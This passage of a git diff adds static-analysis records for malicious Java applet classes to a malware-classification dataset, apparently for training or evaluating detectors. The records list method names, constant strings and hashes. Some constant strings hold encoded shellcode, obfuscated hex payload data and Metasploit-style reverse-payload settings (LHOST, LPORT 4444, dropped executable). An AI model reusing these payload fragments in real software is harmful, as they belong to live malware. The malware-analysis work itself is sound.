["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pN,pz,0L,Pn,pN,pl,Pm,9K,K5,PU,PS,0Q,OQ,to,QD,pG,pc,0E,Pn,kC,pt,LN,kb,Pu,LL,ml,K3,XU,pM,Ps,Md,L0,33,Dd,CN,vh,kX,sN,kq,xV,hl,KX,wP,jw,ta,IX,hl,OE,PW,pW,pk,RL,9q,xr,Op,nU,Pw,p0,hR,Up,rR,L2,MF,4k,O6,vL,KK,XM,8Q,i3,03,0U,PL,KH,WQ,Wk,0u,oU,Pt,5x,zs,wR,w2,gO,pg,O5,Pp,uj,Zn,kJ,Oq,Oe,cz,ik,1x,lU,T7,qW,pS,0N,k9,Lp,Qb,ra,CC,XW,tC,1c,0u,Pk,Ob,vd,Ls,jv,9v,1r,rL,Ke,Rr,sP,CO,pu,kU,PB,Uk,JK,13,Ky,lt,np,ea,ha,uQ,eD,CO,sZ,Kt,HL,Id,CY,WQ,SV,dF,NC,U4,8q,ui,V0,CV,hU,PS,ko,z9,QS,4T,pO,xS,u7,pu,cY,P2,pP,PS,cV,7B,pI,oS,fr,0N,cK,H7,pR,Uu,Vr,JV,aP,Sk,OP,VW,tQ,J0,YO,si,Rw,t3,qM,PT,zU,Pc,Ex,4k,OV,6W,xp,Qs,fL,Kq,e7,Ln,kD,4D,us,Hg,sL,56,6N,kb,VW,Ps,3k,EV,Sy,YW,9g,1N,M7,sO,5t,sk,kf,oM,nF,p4,xx,rp,t4,Hy,QH,K4,Mg,sZ,z3,pH,k8,qW,Kw,oP,um,7a,NL,Ka,Ne,tu,Si,Mq,vl,Kt,Lr,kl,K3,nU,Lg,sk,ml,Kd,Dn,kS,3O,5N,KQ,NP,YK,sX,hg,pK,Oy,oI,oN,np,N6,nJ,LO,hi,nN,jv,nC,Nj,xY,rS,CP,3Z,jL,Jq,Kf,V7,j4,oR,P2,XD,9b,vp,rb,uc,Zg,65,2g,pP,hP,t4,4b,Pw,Jd,o6,OQ,gR,E1,tb,Op,kc,Q6,Ns,YP,nQ,v0,of,Op,pC,Qe,7e,5D,oa,w2,Or,LC,TV,Nb,Pr,HP,p6,OR,Nd,p4,pu,be,aV,PT,v4,r6,Pt,qw,CV,PV,T4,2t,pg,Dp,0p,9r,jU,av,RT,pV,PV,Pv,Vf,PT,qB,rq,uV,QU,ge,3E,5v,Sq,vP,7s,gv,Yr,Fe,6T,wW,B6,WQ,st,xS,hg,CP,0T,re,3E,6p,0d,v6,Sp,YE,gq,sD,qT,xf,T3,QU,2u,aS,jv,PP,10,0t,pP,f4,pU,gF,Pu,P5,PA,", "41,25,25,25,25", ",", "", "00000000", "IIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a503ed361f016dfd23ec96082277f557a3c9205a", "file_name": "java_malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9", "_id": "c1336af1-9f9d-4ba7-a9b2-9aad74ac07ce", "score": 0, "entropy": 6.133219069849992, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3297, "ssdeep": "96:6FlnOP6hP/pxHh4Wt93Q+EiTNNkez/j83Ifh:QlO8P/3Hhptb37nr83Ip", "sha256": "d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9", "md5": "8fb3838af31440e124d502256f64967f", "parent_sha256": "d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results b/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results new file mode 100755 index 0000000..4c0de26 --- /dev/null +++ b/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "FS", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "Lj", "Lj", "Lj", "Lja", "Lja", "ja", "ja", "I", "I", "L", "L", "dd", "dd", "dd", "gft"], "minor_version": 0, "const_pool_count": 120}}, "_id": "357e905b-76da-4401-ba66-f7caa751fcf2", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "439e2410f74041bf04ddd0a85004130b8ac336c1", "file_name": "java_malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633", "_id": "357e905b-76da-4401-ba66-f7caa751fcf2", "score": 0, "entropy": 5.187340256072548, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2719, "ssdeep": "48:O0LTyDs+F5fIVaW8J8F+iE8xnzHFyQ7kfDkJiu3:LL+DZIVaWrF+IlzHJiu3", "sha256": "d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633", "md5": "1aab76767f76396b97e7363da714f39f", "parent_sha256": "d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results b/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results new file mode 100755 index 0000000..154ba24 --- /dev/null +++ b/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "ed8d9680-2acd-4136-adad-492a1a465225", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pj,0L,Pn,pN,pn,pl,PL,PK,Yk,Kc,0w,pu,P1,Ou,4L,aT,pS,0W,p7,pn,kw,0T,Ll,Kr,PG,lL,ml,Ka,xu,pM,PC,Mv,lv,S3,Dc,3L,Vj,KJ,Sn,ku,8g,xL,Kl,7s,Ze,TS,iH,hL,OU,PE,Pc,0J,BK,Is,Xp,op,nU,PU,Pu,8p,ur,R2,L2,Mv,4K,OB,6N,kK,XK,XR,Y5,Pc,0E,Pn,kj,wG,7M,P7,OC,0D,5K,Jq,Wp,W2,gO,pw,O5,Pr,UJ,ZL,KH,oC,og,C8,IO,qz,Le,Tw,qU,Pw,pN,kK,lF,1S,bp,SP,h7,t5,QW,pS,0I,oP,V4,LQ,Jp,Yv,1s,bn,kC,2R,sS,so,pu,kG,pr,U9,jM,Q1,kk,LV,N5,5s,H1,us,E4,CL,Ch,k7,xm,Yu,Sy,WS,sS,46,NP,er,Xs,UY,Vc,st,HW,pQ,Ko,zY,Qc,4V,PM,XS,uE,Pv,SK,pB,p2,pP,Sp,W6,0K,O1,FT,Pm,SX,xG,pr,Uv,fQ,zV,a6,3Y,o6,6W,ts,jp,Yn,cz,bw,tq,QM,Pt,zg,pq,eL,tk,Oq,FD,H2,qc,fL,KT,5e,ll,Ka,dv,UQ,hW,sX,uf,6N,kr,Vg,Ps,3Y,eV,SZ,iR,i1,Qn,ME,Sz,eV,SK,kV,oO,NF,pu,hh,rP,t3,8k,qZ,kd,Mu,Sy,Jw,0Z,KJ,Qe,kW,oQ,eI,wa,NL,K1,Nu,tW,si,Me,6N,kV,lP,KL,Ka,Nw,lS,3y,Mn,kU,TL,KF,cO,5L,ka,NR,yK,sy,xu,Pk,Ok,OY,ol,Np,NT,NZ,Ln,xi,nN,jd,Nq,nN,8y,rC,C4,sK,zM,Zc,kp,6U,J6,Op,pS,fP,LR,X2,M3,0s,Xd,4p,tp,pD,zF,O4,oq,us,H0,tc,Ur,Rr,N1,qp,lF,NC,YQ,wR,Nr,Oq,bE,5r,LQ,yr,Ss,DT,nS,SB,Op,mV,OQ,yp,np,fb,OV,OR,UQ,cp,1T,nc,X4,4R,MP,lt,oR,Nv,Pt,pS,QV,QP,0T,vU,bd,pV,Qd,sp,1v,Xs,Bp,0t,pt,pp,c1,Zp,0s,UF,Pf,PD,pp,6t,pV,Qr,rv,WV,XC,TE,6p,0a,vp,f2,DP,Wr,Eq,s4,uF,Vt,yp,fv,Rv,Wq,HU,4q,qd,yc,UW,De,gu,hW,D3,iF,YV,Q4,tP,3Q,v5,40,4v,VR,zF,Pd,qT,pP,0C,V4,pG,HV,Pw,pe,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3023dedf9dbb59fc8e3b69f8995466aedb3d7303", "file_name": "java_malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807", "_id": "ed8d9680-2acd-4136-adad-492a1a465225", "score": 0, "entropy": 5.98824432225276, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "96:hFFl0cuYhVg9eOJrpeeNRxC92XQjt9bKsCn:1lXuOi9eOJlNRxEkQpRKx", "sha256": "d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807", "md5": "33204644aec797e43022ccd3dd2010ab", "parent_sha256": "d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results b/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results new file mode 100755 index 0000000..da67fb3 --- /dev/null +++ b/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 170}}, "_id": "0d722644-cbaa-4434-b587-d19c2773d322", "verbose": {"java": {"constant strings": ["877E9062878C8D7A877C7E", "8C7E8D6C7E7C8E8B828D92667A877A807E8B", "7F82857E53484848", "CF03BFC30505053505830F052C05370F053805390C053A0F053B053C0D053D0D053E0F053B053F0C05400C05410D05420F054305440F050E05450F050E05460F050D05470C05480C05490C054A0F051605370D054B0F053B054C0F0516054D0D054E0F0516054F0F051505450F051405500F050D05510D05520F055305540D05550D05560D05570F051405580F050D05590F051405590F055A055B0F055A055C0C055D0C055E0C055F0C056006050B416E736E79430605082D2E5B0605094874696A060514516E736A537A72676A77596667716A060508777A730605192D2E516F667B66347166736C3454676F6A68794006050F4A7D686A75796E74737806050F58747A77686A4B6E716A060510487166787839336F667B6611052E052F0C0561110562056306052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694668796E74734A7D686A75796E74730C056411056505660605136D79797533706A6A7566716E7B6A06050A6B6671786A11056705680605206F667B66346E7434477A6B6B6A776A694E73757A795879776A66720605116F667B6634736A79345A5751060605", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "252525252525252525252525252525254D5959753F343469777A6C78736A6C71", "6E6C6E67716A3374776C346B396C4B7B743D7D48793453385E7F6E5D7C584F7E", "0C056911056A056B11052E056C11056D056E11052E056F0605216F667B66346E7434477A6B6B6A776A69547A79757A795879776A667206051D6F667B66346E74344B6E716A547A79757A795879776A667206051B6F667B66347166736C345879776E736C477A6B6B6A77060509594A52551105700571110572057306050D34727477336A7D6A110574056B11052E0575110576057706050A", "3535353D3E", "0C0578110579057A06050A", "3535353A3B", "06050A", "353535393C", "3535363735", "11057B057C11057D052F0C057E11057F058011058105820605186F667B66347166736C344A7D686A75796E747306050B4871667878390605156F667B66347166736C3454676F6A687906052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E74730605236F667B6634786A687A776E797E344668686A787848747379777471716A77060511697455776E7B6E716A6C6A690605422D516F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E7473402E516F667B66347166736C3454676F6A6879400605156F667B66347166736C34587E78796A72060517786A79586A687A776E797E526673666C6A770605232D516F667B66347166736C34586A687A776E797E526673666C6A77402E5B060510786A79557774756A77797E06053D2D516F667B66347166736C345879776E736C40516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C400605156F667B66347166736C345879776E736C06050979776E720605192D2E516F667B66347166736C345879776E736C4006051A2D516F667B66347166736C345879776E736C402E5B06050F74756A735879776A667206051C2D2E516F667B66346E74344E73757A795879776A66724006051D2D516F667B66346E74344E73757A795879776A6672402E5B06050B6C6A796A737B06052B2D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C4006050B6675756A73690605312D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C477A6B6B6A774006050D79745879776E736C06051F2D516F667B66346E7434547A79757A795879776A6672404E2E5B060509776A666906050C2D60474E4E2E4E0605166F667B66347166736C344E73796A6C6A7706050D756677786A4E737906051A2D516F667B66347166736C345879776E736C402E4E06050A7C776E796A06050C2D60474E4E2E5B06050A687174786A0605166F667B66347166736C34577A73796E726A06050F6C6A79577A73796E726A06051A2D2E516F667B66347166736C34577A73796E726A400605096A7D6A6806052C2D516F667B66347166736C345879776E736C402E516F667B66347166736C34557774686A7878400526052B052C0506052D050505070506052E052F050605300505054305060507050505132FBC05062FBD05075CAC050951B605060509050E05110508050605310505051B050A0505050E05090511050E05160511051305120517050605320533050705300505069C050B050C0505061C06BD0509160905C10D5108420843170A170BBD050C5CC0050D5EC0050E5E170FBB0510BC0511BB0512BC05133F09C005145EC005155EC005165EBC05171718BD0519BB051A171BBB051ABB051CBC051D160905BC051E3F0A1E093008160905BB051F5E42A0058622216543083B0B1A0B21A7056E2221691A0B650C759F0518301A0B61381720BD0521879659AC054D2221691A0B650C7509A50518301A0B61381722BD0521879659AC05312221691A0B650C750AA50518301A0B61381723BD0521879659AC0515301A0B61381724BD0521879659890B06AC049C1E0A300821BB0525AC047B1E09BB05261E0ABB0527BD05283F0B1E0BC005165EBC05171718BD0519BB051A171BBB051ABB051CBB05295CAC05095106B50506050906160619052A050605310505056B051E0505051B0509051E050F051F05130521051B052205330523055D0524056C052605700527057905290584052B0594052D05A0052F05B0053105BC053305CC053705D9052705DF053A05EA053C05EF053D05F4053E05F9053F0616054406190541061A05450534050505090506052A05060535050505070536"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b08c7bf4de16e6ae545feb7a491997031166ebfe", "file_name": "java_malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97", "_id": "0d722644-cbaa-4434-b587-d19c2773d322", "score": 0, "entropy": 5.2948667373567675, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7315, "ssdeep": "192:Bl/i2e8opk/qpJCDpDM3UcOqXz/fr/Gt59FYswuM:BEwopk/qpJCDpDVcrznruz9S4M", "sha256": "d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97", "md5": "e4d187f8be198d55f40d782f382af9a6", "parent_sha256": "d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results b/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results new file mode 100755 index 0000000..35e54a8 --- /dev/null +++ b/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/gimgoszlgz", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "gnjqsmgay", ""], "minor_version": 0, "const_pool_count": 409}}, "_id": "d8cd84ad-9d33-4018-8856-7edbde5a0937", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b42e8678192dd99affd83569f87a45f0f2edbe5", "file_name": "java_malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218", "_id": "d8cd84ad-9d33-4018-8856-7edbde5a0937", "score": 0, "entropy": 5.200611487054502, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6408, "ssdeep": "96:O/nYOCHZ5ESjJe5zZGR3RzgqpRBNNCpxNCnz4GumFUDfPy55ooDy4IYwa5oYp55V:OgJ5tJaMRRgC8EEmFCy55UTYwa5hGhYr", "sha256": "d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218", "md5": "b2175d28308d195d91f74a1eb3c29eb4", "parent_sha256": "d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results b/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results new file mode 100755 index 0000000..8b9adb6 --- /dev/null +++ b/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/pdhufrvekjrp", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["arxipzhyawmhqsb", "ugcjegsbfucrkczrpk", "oxdrwmhofgmeaxhk", "njeyxzwzelveiowdoi", "mslljhijgxyxafqziwm", "jrdfpcbsbomtugu", "", "pzkzaow", "uwsamynlleaqufd", "puselunrilyrhiwjxz", "jtgwguezhqmjsxu", "qpyatldemvoyhknhls", "vwqazjilnciwddcpf", "mrahizhphsvrdxz", "xirdexidnsmyljw", "iodutjyjmqvualzbzv", "vdtjzkrrusvwjqdqq", "fjobtmcxdgsupvlp", "yumlimnu", "xwnechyujsujybyzwu", "gkxmwkdumqztgkhjefz", "wzcabxkqbpaiuuowzzw", "jpxlhhygythfkhqboma", "guzkdxknlldyjstk", "hczchnfkznqcfzy", "qfeymenlhdenrsoa", "plhigxrqozkbypv", "iyqlmkatoxiuhpv", "lyjcwtukdsdawxuihm", "simbdorwiyqelbn", "kbnkoszzmvrldqsgyrw", "phofianuewhidqokhkj", "epjqyxnonnenhaihce", "uijzyharethunvux", "kxsifdkbksegjbkkz", "wclyqnzrqqghemwhyu", "havpjhcyldvssave", "hjbjmccdbxqyiri"], "minor_version": 0, "const_pool_count": 990}}, "_id": "3243aa4b-fd11-4d01-8467-4697e60fccd5", "verbose": {"java": {"constant strings": ["ve", "ghvynydtoolxpgk", "vohjnpplgmoytlcaipkavd", "xxbixdczmjbkj", "jfhbwwufsqlpkzeanbkjquxs", "jfqhykdronzcbxccaxujwjhewjm", "hxoyyacboxm", "haymljgyhfrsrylbfhbpgk", "cevbrfgunuik", "jusqzyrs", "", "behbplesgknhudzdwze", "qpdwfxo", "f", "odle", "mmyr", "evlmcvlpadujkuujl", "cszv", "ibprceltyfxuyavangubrxj", "pokwnjmpjakl", "phtufksxetcsasspmxpr", "qdhuowrocxayryhinykbsphywf", "dowvtxrmzsdesupubgise", "jneudddirazqmyohxjgceeqe", "todyguhltkaqf", "hjmbdcuwqhmsmrrh", "cjnrg", "ydioioyehqbaurwm", "bnvevioqlmuzxybyrkhjalnkbeghv", "skmumttsdeghwmbvbnoqwfiplnch", "ijcchusgsradbtwjfnnwzpqnq", "sghogyeayjjbdouwbfau", "ffi", "xhslsnuzwsnrpldte", "xrbpulslef", "jvrfc", "kfimhn", "eprpflojhvjzmsohqnbfjwo", "ntnrjdwengjklkrvlgyiorbuevba", "l", "qvclshrhyoptuqxpndezyi", "aomwsvpdptowafsvudjhlelekvb", "ebidebswqtohwyoqvgasux", "okoxbycsbsjmabwoihysteyv", "qartualfd", "glf", "dksiwiydodgixagiblgoqjvsofemij", "crnsgoyfifmolxytophfqkhdfomcbn", "vtq", "xcsvedarjrqjrb", "p", "hzhjzwpjyk", "oxes", "lkncnqpdp", "dmiceflr", "wvkardijytneijt", "khedpewowgdyfhpskrecif", "ldbodnahpblbsbgwpmis", "bbhldulepsurllypmjopxsq", "bdfytyzakujvqsmprnclsjnccxqjz", "w", "ahkeerbthnjmswmnlvlafeywves", "wtrcy", "hgtskyodkm", "ubqlsifmogz", "gwjwbyqbryr", "ddgwnckmvyd", "hdaxqcxirknkmxwjyek", "wygrazjjejl", "tfmljcktlnvnfhfhselkrjuc", "syqdac", "djpjoq", "crvrhfszsfwstazo", "byjccrmzrvmpu", "xicliuyctv", "bqplwojpehenhjlgpias", "ndzjvnaxxsfhwupflw", "wmqrzlspr", "fnulguuzmhumiptdzggqqnvnmdh", "iiopwxarfylomiinqgxhzxwoxujplh", "kpzmtvwqnpnoinsczhgd", "ftthiwefbsziyniprwa", "gtcvfvodw", "blvlytpkblmrnsnkaqvsrp", "dhgrgq", "srwjtbsmkmwajuw", "tpenriviwmdgvtla", "bcymltaxobghroxpliqcfik", "fjrycfczqpgyeitzuhtz", "aqhqavtkkhhqobr", "kzdeesrteszuncfcm", "t", "nmdqtgnahcjyxororjqgbzylhkpej", "qjfamvftfrkisccszvuaxdcd", "eponowcghziibhvdta", "gdjwn", "nafvpwvmosxl", "gqd", "ftuagwywjbroxoxthrbmnymc", "nhrtnxggyeb", "e", "ckrvwzysschrdlqatmsklby", "ndtcpnqesuwy", "keggquukxmcgckxnzikcagogotk", "seeuoytkcuomwpsistnnrb", "nsmgzthxmaulmqsacn", "isjyshodukyuduuhlaed", "irhxxx", "je", "pategqyttn", "cbjb", "xbtxhbhdq", "uvdalxocgqbzofdwdw", "ueeckmqfdmaqvjovvjkzjs", "jlswfrankeokcf", "funmkcut", "lkmwhg", "czoqiqybvksmlu", "feabkkvkd", "vashynr", "uiefnxicoxsgfexemxuexpnth", "wlqcikvz", "kgckbauaxt", "zchtsknvqebzkpnhhvqztly", "jrqemtgtajrvdl", "dnlbn", "blhefxexmwitqb", "osicelmfs", "uo", "tdshjvtuthggdujstuladyxngcbfz", "uvgdyjfynydeudzagkuhixw", "eheppyvihshqdrdr", "xpfmetevbdrgpg", "dboddyrjbhhwrmubcmcnehpbn", "cbbxyysxmajogexsuzxm", "tbtcifwptoko", "advcbqqfzutyiphsckzbfbezuimjf", "bivykyp", "jranxgxmiaonopm", "wsuykbxefce", "ljcvtbrcuzjmuurtzekivvidtlhdc", "equakgcqvvkspqcrkcwoiuj", "mzkkjwjkllqgz", "ajhscvsjpaxipjhc", "npbtlwtqu", "ualwpd", "ihkppyvaeo", "ajbwkqlesaubftccirurh", "wsqvjuofcerdlgx", "peenmdcwfrcchjmogaizt", "wg", "gfgemxvjprqxbmkbwj", "hjjdgkxdonpk", "odqqymqqfrqdkedx", "imqzulcfbnvacralxqneyog", "cawwkomujjruhamrmk", "ydccqgguhqbdrqcuipibff", "hhtbamxkedxhewtcxelql", "h", "sxdjgsiyillb", "us", "owprvojdxrclygsz", "blxdbumgwoikp", "hjrxwjrtedxyoyzpktuaqtccthbgjw", "hn", "adzrljzrptbputjxvqetsdeyrxgwoi", "uvhedbz", "utjltdsaactguchpbqb", "jyrwzisjoefmqtiqiyibsprkwqhau", "ftrgjpsakerubq", "ajbnehfsbojrndezuvrjtptekzu", "tsvreoll", "cdgangjplyawzynvmvml", "qximuf", "bupsqcdcrfdu", "cejuyte", "m", "vixmlrnuxdobbeywyvgzdugoh", "ptugdptcuymiktsrtccyoreimrpr", "xyatvctndind", "mxcb", "atycmsyttmzsuusvgi", "drrdzyrebkzerlkv", "pqsnyv", "avmcxf", "dauxytrsvmnkymbitnxvksayt", "zjoguafyrftmdiedbhezjyzol", "cohvpbrnuoffvusvqsyg", "dzprlxiytxrs", "snjuylspfmss", "hpnkbhnlkaluaxeagjqumzyfqdt", "adotvnoyumfeahmsji", "wemytt", "slj", "kwpirajdzmappdnmexibqflk", "jwhsudvessmmmiszvayakykdqb", "cqvmeuueopvyjublde", "lsrkwlnkmspwrfkvklxxyvsdlqdi", "duqpvnqlqfrfbo", "biayfusxb", "kcfytttkqkcw", "vdyueaixcrapucpcca", "gcurieefiegirfmf", "fnlqt", "v", "odypvjpmrhkvqwfobcoz", "cvyocom", "pepxtkr", "rabnxaa", "dfdwgnnpcyhxovkgbqxnzeb", "ourkakyiw", "betzicqlasfjkqrhizk", "cgybzzvlvpqxyfznbvlftmheczlsi", "mjbdaksothwpahnrlk", "bdqtjsadsowqrmwbvryxqdrvc", "agnpackwmvcabmwdjejzukptwobpgx", "trollrxhuwnpqsdmctbwsfa", "cegnhkvehdivblc"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "39abd2f10db0ca6a6e3e40ce8dd819c080bc0b7a", "file_name": "java_malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11", "_id": "3243aa4b-fd11-4d01-8467-4697e60fccd5", "score": 0, "entropy": 6.031328966064155, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 23042, "ssdeep": "384:Bn4WZenGQCZ7H8tngQKvjGGtZG99VHLu/YGNFkgfJ:nZZFZz8KvaGP27rTEB", "sha256": "d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11", "md5": "f6c8cb1f46d4f1817503843ba9ce0f42", "parent_sha256": "d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results b/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results new file mode 100755 index 0000000..95d8529 --- /dev/null +++ b/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "WeoKiIswUc/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "a81f3584-dfcc-41b6-94d7-c0ef0814b2b9", "verbose": {"java": {"constant strings": ["WeoKiIswUc.Payload", ".class", "/WeoKiIswUc.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "WeoKiIswUc.dat", "URL", "", "https:", "WeoKiIswUc/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "WeoKiIswUc/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "WeoKiIswUc.PayloadTrustManager", "useFor", "java.net.URLConnection", "WeoKiIswUc.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaPapqDus.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "be2dbfe50d59317b889800ad26723972b4f65936", "file_name": "java_malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61", "_id": "a81f3584-dfcc-41b6-94d7-c0ef0814b2b9", "score": 0, "entropy": 6.137841505759754, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2DUBJ+WwXThmQix4IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1teJKtm3YNvpvUrKYvCkgHzbDrDF", "sha256": "d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61", "md5": "31b5d96b8a93e3f19e9c42bbeb7dc63f", "parent_sha256": "d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results b/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results new file mode 100755 index 0000000..764c1c2 --- /dev/null +++ b/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 164}}, "_id": "ec365edf-f73b-4916-934a-960ac428f91d", "verbose": {"java": {"constant strings": ["887F9163888D8E7B887D7F", "8083867F54494949", 